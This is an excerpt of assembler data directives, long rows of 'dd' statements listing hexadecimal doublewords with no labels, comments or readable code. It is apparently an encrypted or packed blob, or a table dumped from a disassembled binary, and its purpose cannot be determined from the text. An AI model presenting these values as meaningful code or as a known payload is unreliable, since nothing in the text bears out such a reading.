14D92EE1h, 58C75D59h, 8BB15E63h dd 6F028ED6h, 0BAEB54E5h, 0BD474819h, 2A8C35Fh, 63A14F1h dd 6D2FCC8Fh, 0CA042249h, 1A6D61C2h, 269F555Bh, 9255A2BCh dd 57B03E81h, 5BCBDE54h, 771C4558h, 0E8AF3A94h, 144395D6h dd 0D7EE27F8h, 0AD146CACh, 0BA07E2D1h, 4F430C15h, 0E9151194h dd 58124B8Bh, 0B59BAB3Fh, 72D83777h, 0BA9FB5Ch, 4E54878h dd 416AB5A3h, 0C83EC46Ch, 122201B8h, 18F4D286h, 0F97D7C9Dh dd 34AE0162h, 0A3B025FEh, 4D930630h, 1D6AE691h, 5CD801F2h dd 7BD6C1B2h, 741BD715h, 0F4906E13h, 0DEF80212h, 97018BA6h dd 0AFE86E10h, 0CCF9245Eh, 93554474h, 484C49A2h, 0A6AB4A40h dd 0D6AB33C7h, 2DFEBE2Bh, 9829093Bh, 0FCD49261h, 4A149EDEh dd 8D6B1915h, 0C06837A7h, 69AFEA55h, 0ECD59AD4h, 8987417Fh dd 9A9B5B74h, 0B5D528E8h, 4C327AA2h, 778D5286h, 3D535B84h dd 29DE450Fh, 60B18E3Ch, 0F7E6089Bh, 73BE53F9h, 81F23832h dd 0FFE77AA4h, 51E56DAFh, 6926054Dh, 7637A287h, 2CE30ABAh dd 0D228A0F3h, 2D5948FAh, 89FBAF92h, 0F6F12DCBh, 7B75BB70h dd 5BDC0CDAh, 0B757DACDh, 0A753555h, 3A341622h, 149F9725h dd 6C109498h, 0E04D4AA8h, 78B8D95Ah, 9D5EFDF9h, 0B8DBD57h dd 107D531Ah, 8104C72Ch, 48CED65Bh, 6E2B6D8Bh, 0A35F6436h dd 0FDDA6808h, 2B3E941Dh, 68972841h, 0DC7A6866h, 627EDD70h dd 88B86331h, 31D665B6h, 8AD75E3Fh, 25B43087h, 89DB07F3h dd 0C74BAD31h, 1E293F58h, 0E94A89D8h, 423ACAC6h, 0D26FEC9Dh dd 9B616494h, 5FC9DDBh, 0FE36A987h, 0F16D426Ah, 0F25F722Eh dd 0F7FB8755h, 0F74537CCh, 7B1D41BBh, 9CE8478Ah, 2FCC4C87h dd 0EC5775FEh, 985EDB63h, 0FC93F0CBh, 0F23B87Eh, 0CC307F63h dd 0DCF7042Eh, 0A089F81Eh, 0CE237E4Dh, 0F1CAD78Ch, 0EC202F47h dd 9BE4444Fh, 0BBC6D23h, 1329CA28h, 60311A49h, 0E1D1719Bh dd 60BA7F64h, 0A3F54168h, 7CA64B94h, 85EF5590h, 31005AF4h dd 0C5A67BEAh, 0EECDAE6Bh, 0B80EB43Bh, 0E53A0EE7h, 0C64850D4h dd 0A8E5E478h, 0E5501932h, 2B99F68h, 71433891h, 0F55FA316h dd 0A6F0D6A0h, 0DB4E959Ch, 0BB3A336h, 0D146D2CDh, 0C96A33C5h dd 0D6821616h, 0FE81C5Bh, 1238094Bh, 75E4CBE8h, 704368Fh dd 74B6E41Bh, 0E1D474AEh, 0D10050C5h, 74A35B30h, 8F6C5A5Fh dd 9D2D829Dh, 6CB2B69Eh, 27265843h, 83768D8Fh, 53055248h dd 89455897h, 30396CC3h, 7136D970h, 9665C666h, 0B0DA33C5h dd 0C17D4FF9h, 3A1C3478h, 0C6F9FB14h, 187EA38Ah, 0F415C393h dd 64B3B868h, 5D292AADh, 4C2A5554h, 0EFA92D3Bh, 9871DEE1h dd 0FFB2EB4h, 9E3C6508h, 8FC7B5A1h, 2DE6C587h, 31F3F9B0h dd 976EC7BEh, 42F01D04h, 0CB18D62Bh, 84DEA2A8h, 68CD44B6h dd 7A91E771h, 224806F4h, 27508ECFh, 0A3F70D2Dh, 9D24017Fh dd 0AF715508h, 0DDFC4B90h, 29C9DE18h, 0A40B05BBh, 0B76EF7ABh dd 77B2099Ah, 8F6A35AFh, 0C6BF391Fh, 5417A2C8h, 4B7C6E20h dd 59C2899Fh, 81CB2DDBh, 6302F1AAh, 5E20994Fh, 91B20A4h dd 0EFFCFF78h, 0D9E3CAA6h, 0AC0CC183h, 0D7158A37h, 4B6F58E2h dd 0A1F5024Dh, 2E71BFB6h, 0DFAD2257h, 3A57A76h, 0E8F16472h dd 2259643Dh, 734D1C80h, 4C2CFEBh, 5A9A8949h, 34239B7Dh dd 0CB203979h, 111C265Ah, 0E96AA9ACh, 88E3699Bh, 63F69390h dd 31366367h, 0F750A6EAh, 0D06411A5h, 0C2B23C4Dh, 0F148296h dd 2A62E7CEh, 20D1609Ah, 0FCF630A0h, 0BF20CA16h, 30FBCE71h dd 2112AF77h, 2B05CA21h, 547935EAh, 0A071A9E0h, 255F2B85h dd 4ED1ADBAh, 7D71CA1h, 0D0AEBB90h, 65FFFE3Fh, 2F500ABEh dd 0D33AE043h, 66B6CA05h, 343732ABh, 0E4E5EB1h, 53C48E17h dd 94DBDFC9h, 838BA1BCh, 44DCB58Fh, 809093Dh, 6051DAB2h dd 79CE0522h, 3B4BEF4Fh, 353A900Ah, 54EE9A23h, 0E72674E5h dd 8FA65006h, 0B60376B8h, 9C6F9732h, 84AA3B89h, 468F9E31h dd 4DB17333h, 32CCA0BFh, 0F18290CAh, 0C7181EE2h, 5D374FFEh dd 40A20407h, 0D389FF8Ah, 5BF1C70Fh, 0E7DD7ABFh, 0D6D4FB93h dd 0ADCE444Ah, 3EE40BF4h, 2149D14Bh, 95DD0D78h, 8F82C6BDh dd 0E345BA59h, 6984DD68h, 7DD2FBB8h, 0C030E7F2h, 0F2B812A6h dd 19E66886h, 15A5AD05h, 861FE348h, 5BAC1911h, 83FB5A7Bh dd 78052DF8h, 0A6F1739Fh, 0A70CE118h, 8B22F5Ch, 51264FE4h dd 9876AB25h, 0B38C6BEEh, 49111198h, 96F7F5B2h, 0BEC819AFh dd 1F7ABA18h, 0D17B9EEEh, 4C5AA9F2h, 72BDE03Dh, 4FD9984Fh dd 5E04DB0Ah, 0E6EE624Dh, 25FFD35Dh, 86550FFDh, 2BD9B93Eh dd 0B2FF7E3Eh, 0E94E066Bh, 73A52803h, 0FB39426Ch, 867A1C44h dd 0C136E9DBh, 8A49AD90h, 0F740995Bh, 4F591F69h, 0A9463CB8h dd 0C52CB061h, 0D64ACF91h, 0BEFAD851h, 5D2BE600h, 622C2578h dd 4D89F9F6h, 7F71CE99h, 458E1C33h, 79A01200h, 6468515Eh dd 0FB4803B0h, 0F2744185h, 0E4B27BEBh, 0FBB83005h, 205915E6h dd 5D42440Bh, 8172CAB0h, 1109962Ch, 0BACFF0C3h, 22E241C3h dd 42D9E239h, 3185A4A9h, 8EC5FF09h, 537824B3h, 618D77EBh dd 0C59C7AE4h, 58C2FCAEh, 0F224FD49h, 3104CD91h, 50AA83E0h dd 0C2D8BA65h, 121C384Fh, 0CE8B8D55h, 8E039607h, 25102D4Ah dd 0D22698E6h, 0EE391324h, 0FEBE77D3h, 93D20A19h, 3F4BF437h dd 2B7BDC90h, 7DB6B4FAh, 744A885Dh, 2E5B23D2h, 9AFE553Bh dd 5593F7B3h, 0CF20DAF5h, 65407B97h, 0F98A572h, 72FB470h dd 4E743288h, 8AA5826Eh, 0C011E63h, 3349CF03h, 45E4C077h dd 0BE39CE13h, 9B32E5B8h, 0F7F7DF24h, 0A28AD96Eh, 0A8CAA381h dd 0D2AFD9D3h, 0B1DAF5AEh, 966CF1B0h, 76F955F5h, 6D2447D4h dd 0E1D654E5h, 49B1AE0Ah, 7F7AE484h, 0D61C10Eh, 0FD669B6Fh dd 3CFB1C00h, 69D617ABh, 1D6B2E09h, 0BF4A0951h, 151FCDD2h dd 3627876h, 5898755Fh, 0C67EF77Dh, 0EE98EFF2h, 5FBB9547h dd 0A038C40Bh, 72306454h, 0E3ABB55Dh, 92461489h, 0A9673AC6h dd 5014201Eh, 36E5D21Bh, 0D2005795h, 10F9FA5Dh, 1BF10915h dd 0AE82650Bh, 0A710A0C7h, 5A8B160Fh, 0FBC81B4Ch, 601BB7F6h dd 7CAD2F28h, 49F6F70Ah, 30099C20h, 0A133083Fh, 0BE1C5A5Dh dd 3192DB60h, 2B1D7101h, 477B41B0h, 907D0C26h, 0F91C5FF6h dd 5D30595Bh, 695BC95Ah, 0CDE9BB82h, 0F7736690h, 5AC39BA6h dd 0EA90981h, 2863D932h, 0F378D01Ch, 23DEE934h, 422F75E1h dd 1E0BF453h, 9515F040h, 64A263ADh, 5DA732A3h, 0C15E55F1h dd 0A4F0082h, 106A1DCh, 0F8B08778h, 244CD438h, 335372C8h dd 0B4434C01h, 12F7EC2Eh, 0C6F185BCh, 0E2222625h, 0A33D03E9h dd 0D2D789A4h, 6B6B699Fh dd 892AEB53h, 0D8870DF1h, 778DA198h, 30949F87h, 0F5ADC0D0h dd 9999671Dh, 0F588C70Fh, 5AA2F026h, 0E1EBF5BBh, 2119B2B7h dd 409C05A8h, 1DAC746Fh, 36E90051h, 8DCD182Eh, 4666DFECh dd 3123B9A7h, 2F915DB8h, 32D1D207h, 78B795Dh, 0ECE9A9D1h dd 0D01C4789h, 82F07C83h, 24A2C056h, 8118065Dh, 6DEA344Ch dd 0AEAB11FAh, 0FCE33E6Ch, 5CB85BB0h, 0C02E76B9h, 0D7982AC1h dd 36666653h, 9E441BEEh, 10A29129h, 0E2DC491Fh, 2C8634F7h dd 0ADC3A9AFh, 29A53D64h, 8F3D9724h, 616CDE42h, 0B24772A9h dd 0BEF162F7h, 0D2F95882h, 5589AEDh, 7BCF0AD7h, 0C9549974h dd 658DFA0h, 8DBB1434h, 84B7A4B6h, 0DF5CA229h, 7E5184E9h dd 0BC4E07C5h, 0F9FE7A57h, 7C3FC3BAh, 0EC9DFE9Fh, 7493804h dd 0CC92094h, 40E12983h, 6B102A70h, 831B9BBBh, 6167C58Ch dd 1FA1A037h, 88D75EB1h, 55D21D1Ah, 0EE2587D3h, 5CA9AD77h dd 2D299384h, 9458DEB2h, 6CA522B6h, 535ACF82h, 0E9417C8Fh dd 56B92EE9h, 0F5526591h, 0BFF41634h, 4436E1EDh, 0A5F94AC0h dd 0BF85AAA0h, 0AFA3101Dh, 757F7A55h, 0E4455468h, 35A7B601h dd 6CC5DEEh, 0D73524C6h, 0D90F35DDh, 0FF6D1894h, 46BD5214h dd 0E5F49203h, 4A09152Ah, 53EF3513h, 0D6E70B6Ah, 9A2AB6C8h dd 7E7DECF5h, 0EFB622EEh, 8F8F6B3Eh, 6D0D6D7h, 8B5FECA9h dd 0A5C201B3h, 21A780Ch, 0F9027E6Dh, 42EA9ADFh, 699875F9h dd 0D1D0C08h, 5CDFDC4Bh, 0B56D1333h, 6649FF9Eh, 0B91CE7Bh dd 4E979514h, 6110A25Bh, 0D13AD2D8h, 0DA894AF5h, 63C75405h dd 0AA1E4991h, 0FB4F3499h, 0DA7AF532h, 0D9743F18h, 0AA238301h dd 4488C5BCh, 2BA428F0h, 349303E2h, 0BDAB804Ah, 0BDD4180Fh dd 1655DDE3h, 6AAFFA45h, 15041DD1h, 0B5FB8DD0h, 0B0D42809h dd 24E20BCDh, 3DD5525Fh, 0D646EFEEh, 495106B1h, 0BA2E9EAAh dd 7273D88Ah, 0A2079916h, 0F7520E61h, 0D5C69F0Ah, 0A1B76C1Ch dd 0DD304B9Ch, 0E3CB159Ah, 4192F26Ah, 0E83DF2D6h, 0C6695268h dd 1DD75237h, 0E9018CFBh, 2F9A71EAh, 0D68A119Bh, 0A1B0EA95h dd 5FF6EFC2h, 14C1294Ch, 0E8D34EFDh, 0B30D972Eh, 5AE826Dh dd 62FF6708h, 6A36BA0Eh, 5DA7AB91h, 0EDB69FFBh, 0CC6038C2h dd 87B576Ch, 0D0F079C3h, 0A53F8FD6h, 318898FFh, 2E0F4DF8h dd 2ACAAA75h, 0EDA22221h, 70199DFAh, 5C49B6E8h, 0D294D76h dd 4325C814h, 415C4BCEh, 9AF8C4D1h, 0BD101171h, 653FC0CAh dd 76CBB168h, 37DDFB6Eh, 694ECB4Bh, 0F2F55713h, 0EDFBB518h dd 0ACC25CE1h, 15A09BD6h, 39AB9DFDh, 2F381C8Ch, 0AC57D27h dd 8551503Fh, 1B88E92Eh, 0DA3AFE9h, 43378DCAh, 0EDA2B4E6h dd 3E74A67h, 0DCEA2499h, 573CE0CDh, 9381BEFFh, 4F1AEA15h dd 0EA9D74DEh, 77EEDCAh, 71248353h, 0E531163Ch, 3F1F97B5h dd 116132E1h, 4CACBFA9h, 9A837EB7h, 5939184Dh, 85BBAD6Dh dd 0CF9DD0DCh, 0EE9D59B8h, 8C64664Fh, 3B4F8F7Dh, 3E45DC5Fh dd 0BDABC687h, 0A9BAF2B9h, 3BC32E28h, 0CCA8723Bh, 0CCAF56EAh dd 5F33F16Fh, 0D3EE80EEh, 0EF40291Dh, 0C23F6EB3h, 0C630B9FBh dd 3518BE92h, 870B2DD2h, 0B6EF0B50h, 4501A601h, 6550E26h dd 0FCC099E2h, 8EC4D5EDh, 2D80C5F2h, 9B194AA4h, 742774E0h dd 0B853DCECh, 87507CCEh, 0BC33CDD5h, 1763B37Fh, 0A8B26B6h dd 99E7F78Eh, 0C16A52DDh, 348A095Ch, 8D7C01E7h, 0A9512F92h dd 0CA15279h, 37EE91E3h, 0ED031A9Fh, 0BD9AB40Eh, 1F8B0590h dd 0F6A41D81h, 0B5E7A003h, 450F2849h, 640EE8BBh, 0B75C9CDDh dd 31B88350h, 70C2FC52h, 88203CA7h, 0EEF5A75Dh, 63E754CCh dd 5C4050CFh, 0A8F82D4Fh, 0C6129E98h, 8C6B8E7Ch, 5B5238Eh dd 2DE7AFBEh, 5191D2DFh, 2933A065h, 85DD777Ch, 7D5B0046h dd 87555576h, 2875DB4h, 80805C58h, 643BCB8Ah, 0D7B8A771h dd 0F757556Ah, 0C339FDE0h, 133FF1DDh, 80ED7F35h, 519F7F4Fh dd 0F2531543h, 0C3A3F830h, 0C55CDE41h, 18FC03AFh, 0D910C5A3h dd 0AB3C57CDh, 0B4604C87h, 0AF247A34h, 0A22E485Bh, 6F8FA36Ah dd 0D27A805Dh, 8B728275h, 0A3EF6AC9h, 1B615CB2h, 4F3BE0F2h dd 0A73EA3D7h, 5ED8A860h, 0B9783C77h, 2585E7B0h, 4B7B9722h dd 0ADE83F27h, 6F2A8FFh, 0F06B76A5h, 0CA23C9A7h, 0FF040E1Bh dd 0D6755763h, 59A5D5C6h, 98C7EF25h, 171E8CB6h, 0CFFF2396h dd 223A8208h, 0AF4DBA9Dh, 3799256Ch, 12EA8C36h, 4954163Bh dd 0E14A010Bh, 0A24FD593h, 0B20574D1h, 40393AC0h, 16CB7920h dd 91B1EF0Fh, 85DD0FB8h, 8C031E4Dh, 2D99F0D9h, 9C12C75Eh dd 0CB901A9Ch, 0D7DB832Bh, 30405377h, 9E5802DEh, 0FAF2B893h dd 0B7117541h, 7BE6DB1Bh, 5803BA6Ah, 9876E4D4h, 23BEFC1Bh dd 193B977Dh, 969D41Fh, 47D2F16Fh, 0A1B5A7F6h, 58E713B9h dd 7390A33Bh, 79A9D5Eh, 6C6FFFDBh, 3293AF75h, 3FB09927h dd 0F0046795h, 0A2F57588h, 7A18F15Fh, 1B635E5Eh, 8BC9F8F3h dd 9A19FCC7h, 0E90EE1EFh, 0F571B65Eh, 7D93ECF4h, 0ABF5C425h dd 3709B567h, 0A0974794h, 7CBC3571h, 951FF0DFh, 4ED82607h dd 1836FC4Bh, 0B9C02136h, 0BBD7C02Fh, 34172420h, 60812547h dd 32456A99h, 0D1FCACB0h, 0D606C562h, 5424178Ah, 630E56AFh dd 14CC71A7h, 0F9222CB8h, 4F4BB4F8h, 0AC7A274Dh, 0ABA1EB5h dd 9C59783h, 68D7174Ah, 6E53F030h, 0ECD93BD7h, 0E35EDADCh dd 1DAC6AC6h, 0E3343C0Eh, 0B7E3CA02h, 0A36C2DC1h, 0E7F402A3h dd 2C9D5AC9h, 8D436250h, 5CCE73E9h, 74DCC069h, 310BF9F3h dd 3B06FDCAh, 0BD5757A6h, 0BE407DDCh, 0B09B29Eh, 0EF930399h dd 0A82D636Ch, 0E4A53A60h, 7F93866Eh, 0A4FCED58h, 0E24A258h dd 0A0D2E257h, 71778F71h, 85C68CD5h, 931ADBDDh, 47BF2172h dd 850F5B84h, 190E7BBFh, 68F41AEBh, 9A3E3C29h, 0D36C137Ah dd 6042B10Ch, 9CE0C1F7h, 36E7EB48h, 2771395Ah, 0F34C8D56h dd 7F8F3C88h, 0D0B7586Ah, 638B69D2h, 0FEAADB60h, 2F4C3E41h dd 0FCFF0243h, 0B056C1A5h, 0CB01E3B8h, 0BE324F7Ch, 69672D37h dd 0F3367743h, 3FBEAD91h, 0BA4E9006h, 16707CEBh, 397A7D8Ah dd 0FD0E7C6Fh, 0DFD75104h, 7EDF7E30h, 0B648740Ch, 309E89D9h dd 6DB57A39h, 35FC00E5h, 0F0724D01h, 0A9987D78h, 968B28A7h dd 0CAF0DF3Fh, 94D95144h, 10D926E0h, 2CBD98AEh, 59E37C60h dd 0BED6E5DAh, 530059A9h, 39B2E07Ch, 0B8A8070Dh, 0D19BD2C8h dd 8EB1F4h, 7C64D1D0h, 2179C46h, 0A8C17526h, 8C0B4871h dd 57154257h, 5F82F36Dh, 0CCA31F68h, 7D9187B3h, 56F6C39Dh dd 9BB3F975h, 8DA56CF2h, 6B17B968h, 87A9011Bh, 4A373120h dd 43D97FD6h, 39255825h, 0B969563Fh, 0E781730Dh, 67364A50h dd 547D0883h, 146E5C9Ch, 0D086AB19h, 0B4E7442h, 66BB90CFh dd 0E8F62608h, 3F1B6FD1h, 42D929FAh, 5C6DC00Ah, 800DA947h dd 0A79542B7h, 9E4F0F4Dh, 0D39D912Ch, 9D58B180h, 0C16DDDA2h dd 0E7275D9Ch, 0F1080760h, 6A8EBA47h, 22D33330h, 0F455FB36h dd 0ED667AD6h, 485D122Fh, 37B48B9Ch, 12724FCh, 0C977C026h dd 232CF3FBh, 0E9598B11h, 9A8AD01Bh, 70E1ADDEh, 0FB066883h dd 2B5369EAh, 0E025DA75h, 569B275Eh, 5C53209Fh, 3E616FCEh dd 4B7E1741h, 30ED31F3h, 5A829D49h, 0B6ADAE96h, 0A4B4E193h dd 0ADED2326h, 38BA2649h, 0B5CB93CFh, 54769682h, 0EF2C30F5h dd 7637B5A9h, 0ABC884DEh, 0D53486D6h, 4EE98549h, 3C2C40h dd 0D501D0AAh, 0C0E4FE84h dd 5C74B44Bh, 7C7808C5h, 139C635Fh, 7EF9AC15h, 384E8F4Ah dd 83660412h, 94321C38h, 8C2A9965h, 7F3E4900h, 44BDBA82h dd 5B1FB22Ch, 99749B33h, 0B38F444Ch, 9603F054h, 0EE6FDA3Eh dd 5DA4578Fh, 88C257ECh, 0EE9202DBh, 3BAE8DF7h, 3964D48Dh dd 0C44FECCBh, 928AEEh, 3B1E5A97h, 82BEBF30h, 82F11883h dd 0CF80D06h, 0D7E79220h, 5181356h, 910902E8h, 77510972h dd 2AFC6667h, 1A77ADAFh, 0DA198B64h, 5A9AB432h, 1BEA532Ah dd 3F205C7Bh, 5FBB488Fh, 0CACD81CCh, 606050CFh, 45AB134Ah dd 55E48F79h, 4C858FE6h, 0A9C77645h, 5D8E3513h, 0C84ACBA5h dd 0E887C3Ch, 0D8C2C042h, 0C2762519h, 442AD955h, 36A5890Dh dd 7656D32Ch, 550733FEh, 36C5F63Fh, 1033AD1Eh, 0F67C95Fh dd 0C898E495h, 9B4727EBh, 0F945C940h, 12383943h, 66480DAh dd 0F1B04344h, 8E4490B6h, 0DD4219D9h, 2CF6E0BFh, 81FAE032h dd 0F3483E8Bh, 98A7F236h, 0CB8B6989h, 799168DFh, 1B8E9579h dd 26F07E2Dh, 9428187Dh, 0A8C35E45h, 13C086Dh, 7FFE1CCDh dd 29357A24h, 285E9AE0h, 4E6D766Ch, 633EBD68h, 8B08C4A0h dd 4B87E2F5h, 6C96F879h, 0ABC42E9Ah, 2522ED30h, 5670BC1Eh dd 0E7652BBCh, 0B25E3760h, 43837F92h, 0AEE2FB0Eh, 5ECE4073h dd 61BE234Bh, 0FA450242h, 0EDF3441Ah, 1B1B5617h, 0A507B2E7h dd 9A92FDA1h, 9D841648h, 6FAB5BEFh, 0D534FA6Dh, 8A426BC6h dd 360E0BB3h, 0F5CF6283h, 0B9F0B22Ch, 3DB3AE40h, 6B237064h dd 33F148Ch, 0D66D257Ch, 0E8424993h, 0C50F1C06h, 0A5FB30FAh dd 0D7E092B1h, 0DAF4C0Fh, 5BF4F7C2h, 2758F391h, 2E9A67B3h dd 511A95A3h, 0E6BF604Fh, 795C13Eh, 1D75E648h, 33A03B1Eh dd 57241CE5h, 0A639AB01h, 0B5C0D920h, 0C0D72ED5h, 1CB77E07h dd 9571EED3h, 0D9E6147Dh, 0BE4FE494h, 31861B71h, 0B964ECC2h dd 3020982Ah, 950CC48Ah, 9605553Bh, 0A28A8F9h, 0C8DA302h dd 48D048C9h, 7EDA9FABh, 29C84A42h, 0D14C8060h, 0BE9C31EDh dd 424DD872h, 5897FE3h, 22B29FB2h, 1AF28427h, 44EEEFE6h dd 0DAE9FEB6h, 4C109983h, 0CD563333h, 6E9F7752h, 56D8A8E6h dd 0BBAAECB0h, 76662D34h, 4FAD110Dh, 930D853Eh, 0D8D08A3Bh dd 0EEE4323Bh, 2CF051EEh, 0C6189BD9h, 8DF3CBDEh, 0BD8EF85Ah dd 324BA524h, 7572F3D3h, 73C9F9FAh, 3728D53Bh, 0B633B9D8h dd 354FF876h, 0C411113Eh, 0A7F51346h, 6EEF1471h, 0BA3E922h dd 508EC465h, 9E133236h, 3598C54h, 6C2004B1h, 0A8FB0B9Dh dd 810972FEh, 0EEAE6E0h, 0ACFDC20Ch, 227B7DE2h, 1913D344h dd 6C5B4426h, 0BABF1345h, 365C5051h, 0B05DF882h, 0F4C3094h dd 855BEC39h, 0A7D774ABh, 86C429Dh, 0F617AC9h, 47F06AB9h dd 9B01CDCEh, 86B292AAh, 28CE22B4h, 0C6DD0F4Ah, 0B06A0B88h dd 0BFDDC4Bh, 0BE31BC35h, 64D11A0Fh, 700A8C8Eh, 0A132AE4Ch dd 0E8B59814h, 67BF47B3h, 4569576Fh, 0C611AEh, 0DDE94E2Dh dd 607844Bh, 0A33EB83Ch, 59AE0927h, 5449BFD4h, 665C7F2Bh dd 0FBBAAD60h, 0AFA265DCh, 0F60ED1B8h, 0B105031h, 29C70E6Fh dd 0E8176906h, 0D5D84BB3h, 0D1E170B8h, 0A36A90B0h, 8C29D3AFh dd 0F5C08ABFh, 0E4BA9759h, 0D6F493DBh, 8B5CBE6Ch, 28CB84B4h dd 0C2ED78EBh, 38E2DB02h, 0CD7AF75Ch, 424AA534h, 0F9C709D2h dd 8A1D50C1h, 0D6774A90h, 1A5D6743h, 387C6BEEh, 0F0133E6Ah dd 0B40BC49Bh, 0BD8EB439h, 60E51F12h, 5E857BC8h, 4529C115h dd 2174EFBCh, 4C27591h, 9F4B3D0Bh, 787CFFE7h, 0BB80E7EAh dd 56CF236Ch, 0B3208BF3h, 0ADAD57F0h, 6DEAF121h, 67449B67h dd 0B8508981h, 0E9361E20h, 55F4280h, 2D1275BDh, 0EEA893EDh dd 8121226Fh, 9372F28Fh, 1504B78Ch, 4186161h, 4F2F5D46h dd 8EFE828h, 8312E0FCh, 0E02926A9h, 9195E51Fh, 0CBE85E46h dd 9DFB6D2h, 0FF371E38h, 2AEE44A4h, 1102A4C9h, 0FEB55AF2h dd 82C790CDh, 3B1E7EB6h, 25FA7095h, 0FB90D38Ch, 0E120F3BAh dd 2F0DFFCh, 908A5C4Eh, 367E560h, 0AD971A05h, 0F732F9E2h dd 57B7D9B6h, 144A0A83h, 6D52CD67h, 14CBDCF7h, 0A6217EF2h dd 0F828D4A1h, 21DD11B7h, 0FAC4911Ch, 2C33591Fh, 0D71A27F3h dd 0ADFD75ABh, 47FE6A0h, 62EF824Dh, 4F4B40BEh, 0F4ADD944h dd 2C76822Ch, 0CFD4C863h, 768DCF7h, 0D263CB3h, 9FB7E4F2h dd 5813C02Ch, 3F85799Fh, 7F260A82h, 8C659392h, 0F02E95B5h dd 3125179h, 118928ECh, 9C7AEB28h, 4927C40Bh, 0AD2FB7F1h dd 530D9E13h, 0A705AE38h, 4C17A921h, 0A223D54Eh, 9400B826h dd 9E8AA24Ah, 177986A8h, 501C5E4Ch, 0AAE71B36h, 8BD3989Fh dd 0E8D5AB2Ch, 2736430Eh, 0CF0D49A8h, 4723215Bh, 30F13CCDh dd 0DE445F8Ah, 0B53AC77Ah, 0FD1C09AAh, 0F336733Ah, 817C72E9h dd 538C6CFCh, 3A57257Bh, 551A5A39h, 0EE8C96F1h, 0BC54CAD3h dd 0DAC9A0Bh, 0B189B0EBh, 3CCE68DFh, 9D59DEFBh, 9E727AE9h dd 0E737E69Ah, 419D71C9h, 82240603h, 0D9986411h, 18280AAh dd 0E2015D8Ah, 0EC1ED556h, 0E1922334h, 0DA139508h, 9B8192DDh dd 4186903h, 0C657D5E6h, 370F3AC8h, 65C3D6B8h, 557E8396h dd 38C1B145h, 90CAFFB1h, 9E15DF58h, 0D76CE1ABh, 78327209h dd 72D37773h, 0ECB3F5D0h, 8CFC2BD8h, 0BADD55D1h, 8EB1AD03h dd 0AF0E154Ch, 0AA0B5E76h, 6F642748h, 1188E299h, 0EDEC50E0h dd 808161C3h, 9DF3B5A7h, 14EB9DDAh, 0A4A63F39h, 50D80404h dd 430CEE5Eh, 2B76A196h, 3BFE84F8h, 98AF7306h, 0F2E32752h dd 0DFDCB7DFh, 0EF7FFDADh, 1AF2E435h, 0F59C3402h, 51FA19F1h dd 0E1DA34FBh, 15E1D5F1h, 38E02ADAh, 0D1C1BAC6h, 4B3A2CBEh dd 0F1FF5735h, 0B00D2652h, 8183C227h, 0DABDD4CAh, 35CFF51h dd 0DE9A9137h, 133EAF0Dh, 4915DB0Eh, 0D4ADA392h, 0FEBE0C7Bh dd 7F52F2FCh, 18EBF3BFh, 0A991A214h, 8020EA5Ch, 284252C9h dd 6E338E54h, 0E517D29h, 2B481FEDh, 0EAC7E979h, 5A92E6CBh dd 0ED2C02D1h, 87DFF820h, 0DE2507D7h, 24FF5825h, 0AB8220A3h dd 0C8BA1158h, 22BE27E7h, 39D7E863h, 0DE2F1D12h, 1F2801EAh dd 322361FAh, 0B846D5FCh, 0ADE5BDE5h, 0EB1A9C29h, 5AD63AFBh dd 15BC2225h, 51242E87h, 435E4F63h, 7EE5FE8Fh, 0B367BD05h dd 0DC252C52h, 24B10F5Ah, 1D1CBED8h, 83EE6EF5h, 0A00D08Ch dd 0F3C52A22h, 0FCC92413h, 25428F78h, 0FF16EF25h, 878E8B7Ch dd 4D8C3E9Ch, 6BDAE07Ah, 0AFA0A88Ch, 21A28967h, 1DADA1DFh dd 0C368619Dh, 4F6F736Ah, 757212D8h, 161C41B1h, 0B7F479DCh dd 2FEC6D37h, 0FEE7B7A8h, 9EB82B6Eh, 4C1FCE2Ch, 83BCE0Fh dd 0A8E65044h, 6F97A4Bh, 41609311h, 5CC92D65h, 0A8C7331Ah dd 705B6F11h, 341D0DA1h, 3915401Ch, 0B3BBC873h, 0B6B30A8Eh dd 9CD5C044h, 2F408E83h, 88D6A3CDh, 43BFF08Fh, 3889BBA7h dd 49626246h, 0A7473B5Dh, 0CF6A52DBh, 0CAAE0368h, 0E99DD942h dd 974D5DCh, 0BCF29F6h, 0CEBF5B9Fh, 0D541F11Ah, 0EDE93C8Fh dd 9032DC11h, 0E5FA70E7h, 86265BD1h, 1B463595h, 8FBA22F4h dd 0BDA7749Eh, 42565BB0h, 0A109B272h, 0BA5A533Fh, 476D5ADCh dd 0E1F671DEh, 8621A602h, 832D00FEh, 344321F9h, 0B3F02EBBh dd 97C68538h, 8DD433ABh, 0E94F9333h, 8B909CA8h, 42D98887h dd 8F7845EDh, 0A0C998F1h, 3754A721h, 30AC6ABAh, 0DEA73450h dd 0CFAA0C9Dh, 3B16A4A9h, 0C4F44B89h, 3D43D700h, 0F2CB7AE6h dd 5FD8CACBh, 2783E080h dd 52202902h, 0CFEB6DC1h, 19931FACh, 5A69034Eh, 705F658h dd 4841258Fh, 5D5ADB0Fh, 0B4E2F9A5h, 90238862h, 87FB86B4h dd 0BF1CF7B8h, 0CED63778h, 6296394Bh, 0C8389842h, 9B2453E2h dd 0E18FD7F4h, 4A800CC9h, 0C3EA11B6h, 8A128E3Eh, 702FC8F8h dd 38461915h, 0C286FEA8h, 50EC80CDh, 0B50D686h, 0E1876222h dd 0DC79B013h, 4BA6BAF1h, 0AA198549h, 0FA1A0547h, 0B9817911h dd 13A7F846h, 0E5789FB3h, 859B0FA0h, 2F820629h, 0C526546Eh dd 18A6B9D9h, 0DF9850A0h, 2815D2B2h, 0DBE9C002h, 2691D0D9h dd 14D9D7C1h, 9B6DE401h, 8E692AD7h, 882A9DB3h, 7AD42B19h dd 0FD9ADBCFh, 6DCB7A91h, 0C6A0CD59h, 26235420h, 9A389C57h dd 0B3DD9DCAh, 0D2D49BAEh, 0BEE86D6Bh, 598D2D63h, 605746E5h dd 71609E12h, 832206ACh, 4D43BDFFh, 4A2C3F76h, 54974F7Ah dd 0E5AC688Ah, 0D9FCF4Eh, 0C7249199h, 2FF0C4B7h, 0A32FE831h dd 2B7D7E8Bh, 5DA1FC7Fh, 0BD1F35A5h, 57974794h, 0BBB18922h dd 0C044F53Bh, 0E45A3E92h, 6F926B3Ah, 590014Dh, 494A4F3Dh dd 0CAAA5200h, 0C9D574DCh, 0D5CB9ED9h, 0D5269EFEh, 3EB5B1B3h dd 0E42C1422h, 774C4A99h, 0AC1E922Fh, 0A3D09120h, 9328818Ch dd 5215C94h, 0DA2CD9E0h, 0DE40F285h, 0E9BA3665h, 503D8E4Eh dd 1FD36679h, 80DF28ACh, 0EDEDBAB6h, 